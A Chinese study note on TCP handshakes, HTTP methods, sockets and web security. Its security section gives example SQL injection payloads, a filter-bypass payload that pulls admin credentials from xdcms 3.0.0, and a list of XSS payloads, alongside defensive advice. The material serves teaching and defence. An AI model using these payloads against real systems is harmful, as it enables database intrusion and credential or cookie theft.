TCP在传输以前会进行三次沟通,通常称为“三次握手”,传完数据断开的时候要进行四次沟通,通常称为“四次挥手”。git
两个序号和三个标志位:web
(1)序号:seq序号,占32位,用来标识从TCP源端向目的端发送的字节流,发起方发送数据时对此进行标记。
(2)确认序号:ack序号,占32位,只有ACK标志位为1时,确认序号字段才有效,ack=seq+1。
(3)标志位:共6个,即URG、ACK、PSH、RST、SYN、FIN等,具体含义以下:
(A)URG:紧急指针(urgent pointer)有效。
(B)ACK:确认序号有效。
(C)PSH:接收方应该尽快将这个报文交给应用层。
(D)RST:重置链接。
(E)SYN:发起一个新链接。
(F)FIN:释放一个链接。
须要注意的是:
(A)不要将确认序号ack与标志位中的ACK搞混了。
(B)确认方ack=发起方req+1,两端配对。面试
在第一次消息发送中,A随机选取一个序列号做为本身的初始序号发送给B;第二次消息B使用ack对A的数据包进行确认,
由于已经收到了序列号为x的数据包,准备接收序列号为x+1的包,因此ack=x+1,同时B告诉A本身的初始序列号,就是seq=y;
第三条消息A告诉B收到了B的确认消息并准备创建链接,A本身此条消息的序列号是x+1,因此seq=x+1,而ack=y+1是表示A正准备接收B序列号为y+1的数据包。
四次挥手:
因为TCP链接时全双工的,所以,每一个方向都必需要单独进行关闭,这一原则是当一方完成数据发送任务后,发送一个FIN来终止这一方向的链接,
收到一个FIN只是意味着这一方向上没有数据流动了,即不会再收到数据了,可是在这个TCP链接上仍然可以发送数据,直到这一方向也发送了FIN。
首先进行关闭的一方将执行主动关闭,而另外一方则执行被动关闭,上图描述的便是如此。
(1)第一次挥手:Client发送一个FIN,用来关闭Client到Server的数据传送,Client进入FIN_WAIT_1状态。
(2)第二次挥手:Server收到FIN后,发送一个ACK给Client,确认序号为收到序号+1(与SYN相同,一个FIN占用一个序号),Server进入CLOSE_WAIT状态。
(3)第三次挥手:Server发送一个FIN,用来关闭Server到Client的数据传送,Server进入LAST_ACK状态。
(4)第四次挥手:Client收到FIN后,Client进入TIME_WAIT状态,接着发送一个ACK给Server,确认序号为收到序号+1,Server进入CLOSED状态,完成四次挥手。
(1)三次握手是什么或者流程?四次握手呢?答案前面分析就是。
(2)为何创建链接是三次握手,而关闭链接倒是四次挥手呢?
这是由于服务端在LISTEN状态下,收到创建链接请求的SYN报文后,把ACK和SYN放在一个报文里发送给客户端。而关闭链接时,收到对方的FIN报文时,
仅仅表示对方再也不发送数据了可是还能接收数据,己方也未必所有数据都发送给对方了,因此己方能够当即close,也能够发送一些数据给对方后,
再发送FIN报文给对方来表示赞成如今关闭链接,所以,己方ACK和FIN通常都会分开发送。
为何TIME_WAIT状态须要通过2MSL(最大报文段生存时间)才能返回到CLOSE状态?
不该该是为了防止B发送的FIN=1的包的丢失,由于若是A没有收到来自B的释放链接请求,是不会进入TIME-WAIT状态的。
因此正确的解释是:A发送的确认释放链接信息B没有收到,这时候B会再次发送一个FIN=1的释放链接请求,而这个时候A还处于TIME-WAIT,因此能够再次发送确认信息
标准Http协议支持六种请求方法
一、GET GET能够说是最多见的了,它本质就是发送一个请求来取得服务器上的某一资源。资源经过一组HTTP头和呈现据(如HTML文本,或者图片或者视频等)返回给客户端。GET请求中,永远不会包含呈现数据。
二、POST 向服务器提交数据。这个方法用途普遍,几乎目前全部的提交操做都是靠这个完成。
三、PUT 这个方法比较少见。HTML表单也不支持这个。本质上来说, PUT和POST极为类似,都是向服务器发送数据,但它们之间有一个重要区别,PUT一般指定了资源的存放位置,而POST则没有,POST的数据存放位置由服务器本身决定。
四、Delete 删除某一个资源。基本上这个也不多见,不过仍是有一些地方好比amazon的S3云服务里面就用的这个方法来删除资源。
五、HEAD HEAD和GET本质是同样的,区别在于HEAD不含有呈现数据,而仅仅是HTTP头信息。有的人可能以为这个方法没什么用,其实不是这样的。想象一个业务情景:欲判断某个资源是否存在,咱们一般使用GET,但这里用HEAD则意义更加明确。
六、Options 它用于获取当前URL所支持的方法。若请求成功,则它会在HTTP头中包含一个名为“Allow”的头,值是所支持的方法,如“GET, POST”。
http请求头
通常状况:
Accept
Accept-Encoding
Accept-Language
Connection
Cookie
Host
Referer
User-Agent
socket原理
Socket链接,至少须要一对套接字,分为clientSocket,serverSocket.链接分为3个步骤:
服务器监听:服务器并不定位具体客户端的套接字,而是时刻处于监听状态.
客户端请求:客户端的套接字要描述它要链接的服务器的套接字.提供地址和端口号,而后向服务器套接字提出链接请求.
链接确认:当服务器套接字收到客户端套接字发来的请求后,就响应客户端套接字的请求,并创建一个新的线程,把服务器端的套接字的描述发给客户端,一旦客户端确认了此描述,就正式创建链接.而服务器套接字继续处于监听状态,继续接收其余客户端套接字的链接请求.
客户端:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #定义socket类型,网络通讯,TCP s.connect((HOST,PORT)) #要链接的IP与端口
TCP与UDP的区别
1.基于链接与无链接;
2.对系统资源的要求(TCP较多,UDP少);
3.UDP程序结构较简单;
4.流模式与数据报模式 ;
5.TCP保证数据正确性,UDP可能丢包,TCP保证数据顺序,UDP不保证。
WEB安全技术
SQL注入漏洞
SQL注入漏洞的造成缘由:用户输入的数据被SQL解释器执行
SQL的注入类型有如下5种:
- Boolean-based blind SQL injection(布尔型注入)
- Error-based SQL injection(报错型注入)
- UNION query SQL injection(可联合查询注入)
- Stacked queries SQL injection(可多语句查询注入)
- Time-based blind SQL injection(基于时间延迟注入)
Boolean-based blind SQL injection(布尔型注入)
经过判断页面返回状况得到想要的信息。
以下SQL注入: http://hello.com/view?id=1 and substring(version(),1,1)=5
若是服务端MySQL版本是5.X的话,那么页面返回的内容就会跟正常请求同样。攻击者就能够经过这种方式获取到MySQL的各种信息。
Error-based SQL injection(报错型注入)
若是页面可以输出SQL报错信息,则能够从报错信息中得到想要的信息。
典型的就是利用group by的duplicate entry错误。关于这个错误,貌似是MySQL存在的 bug
以下SQL注入: http://hello.com/view?id=1%20AND%20(SELECT%207506%20FROM(SELECT%20COUNT(*),CONCAT(0x717a707a71,(SELECT%20MID((IFNULL(CAST(schema_name%20
AS%20CHAR),0x20)),1,54)%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20
LIMIT%202,1),0x7178786271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_
SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
在抛出的SQL错误中会包含这样的信息: Duplicate entry 'qzpzqttqxxbq1' for key 'group_key'
,其中qzpzq和qxxbq分别是0x717a707a71和0x7178786271,用这两个字符串包住了tt(即数据库名),是为了方便sql注入程序从返回的错误内容中提取出信息。
UNION query SQL injection(可联合查询注入)
最快捷的方法,经过UNION查询获取到全部想要的数据,前提是请求返回后能输出SQL执行后查询到的全部内容。
以下SQL注入:http://hello.com/view?id=1 UNION ALL SELECT SCHEMA_NAME, DEFAULT_CHARACTER_SET_NAME FROM INFORMATION_SCHEMA.SCHEMATA
Stacked queries SQL injection(可多语句查询注入)
即可以执行多条查询语句,很是危险,由于这意味着可以对数据库直接作更新操做。
以下SQL注入:http://hello.com/view?id=1;update t1 set content = 'aaaaaaaaa'
在第二次请求 http://hello.com/view?id=1
时,会发现全部的content都被设置为aaaaaaaaa了。
Time-based blind SQL injection(基于时间延迟注入)
页面不会返回错误信息,不会输出UNION注入所查出来的泄露的信息。相似搜索这类请求,boolean注入也无能为力,由于搜索返回空也属于正常的,这时就得采用time-based的注入了,即判断请求响应的时间,但该类型注入获取信息的速度很是慢。
以下SQL注入:http://hello.com/view?q=abc' AND (SELECT * FROM (SELECT(SLEEP(5)))VCVe) OR 1 = '
该请求会使MySQL的查询睡眠5S,攻击者能够经过添加条件判断到SQL中,好比IF(substring(version(),1,1)=5, sleep(5), ‘t’) AS value就能作到相似boolean注入的效果,若是睡眠了5s,那么说明MySQL版本为5,不然不是,但这种方式获取信息的速度就会很慢了,由于要作很是多的判断,而且须要花时间等待,不断地去测试出相应的值出来。
SQL注入解决方案
解决SQL注入问题的关键是对全部可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。
常用的方案有:
全部的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎全部的数据库系统都提供了参数化SQL语句执行接口,使用此接口能够很是有效的防止SQL注入攻击。
对进入数据库的特殊字符('"\<>&*;等)进行转义处理,或编码转换。特殊符号过滤或转义处理。以PHP为例,一般是采用 addslashes() 函数,它会在指定的预约义字符前添加反斜杠转义,这些预约义的字符是:单引号 (') 双引号 (") 反斜杠 (\) NULL。
确认每种数据的类型,好比数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
数据长度应该严格规定,能在必定程度上防止比较长的SQL注入语句没法正确执行。
网站每一个数据层的编码统一,建议所有使用UTF-8编码,上下层编码不一致有可能致使一些过滤模型被绕过。(MYSQL用GBK的编码时,宽字节注入:输入%df’时通过addslashes转义变成 %dF%5C%27 在经过GBK编码后变成 運’)严格限制网站用户的数据库的操做权限,给此用户提供可以知足其工做的权限,从而最大限度的减小注入攻击对数据库的危害。
避免网站显示SQL错误信息,好比类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
在网站发布以前建议使用一些专业的SQL注入检测工具进行检测,及时修补这些SQL注入漏洞。
这里咱们看一下通常的CMS是怎么过滤的,通常会写一个函数,用的时候直接调用,我之前审计过的一篇文章(http://www.cnblogs.com/Oran9e/p/7944859.html)
xdcms_3.0.0 存在SQL注入漏洞,过滤的话是把所过滤的关键字都写在一个函数 safe_html ()函数
function safe_html($str){ if(empty($str)){return;} $str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file |outfile/','',$str); return htmlspecialchars($str); }
分析一下这个过滤函数,只是简单的把上面看到的 select ,insert,update 等等替换成了空 。
在 safe_html 处虽然过了个SQL注入的敏感词,还过滤了=和*,可是没有考虑SQL注入敏感词的大小写,这里只过滤了小写,那么咱们用大写绕过,这里过滤的=和*,咱们可使用不带*和=的常规保存SQL注入语句
这里利用报错注入来进行测试,bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange
payload:username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+
XSS漏洞
反射型:
一些经常使用的payload:
"/><script>confirm(1234)</script> '><style/onl<meta>oad=alert(/orange/)%2b' </textarea> <svg/onload="alert(1)"> <img src="javascript:alert('XSS')"> "><img src=hi onerror=alert(1)> <svg onload=alert(1)> <svg onload=alert(document.cookie)> <IFRAME src=javascript:alert('52')></IFRAME>
存储型:
反射型XSS与DOM型XSS都必须依靠用户手动去触发,而存储型XSS却不须要。
基于DOM的跨站脚本XSS:经过访问document.URL 或者document.location执行一些客户端逻辑的javascript代码。不依赖发送给服务器的数据。
DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它而且修改你的HTML页面。假若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,而后当即解析,同时,javascript代码会找到(alert(…))而且在同一个页面执行它,这就产生了xss的条件。IE6下没有转换<和>
<HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to our system … </HTML>
DOM型XSS是前端代码中存在了漏洞,而反射型是后端代码中存在了漏洞。反射型和存储型xss是服务器端代码漏洞形成的
存储型XSS其实和反射型XSS差很少,只是存储型把数据保存到服务端,而反射型只是让XSS游走在客户端上
XSS防护的整体思路是:对输入(和URL参数)进行过滤,对输出进行编码。
也就是对提交的全部内容进行过滤,对url中的参数进行过滤,过滤掉会致使脚本执行的相关内容;而后对动态输出到页面的内容进行html编码,使脚本没法在浏览器中执行。虽然对输入过滤能够被绕过,可是也仍是会拦截很大一部分的XSS攻击。
XSS 通常读取用户浏览器中的Cookie,而若是在服务器端对 Cookie 设置了HttpOnly 属性,那么就不能读取到cookie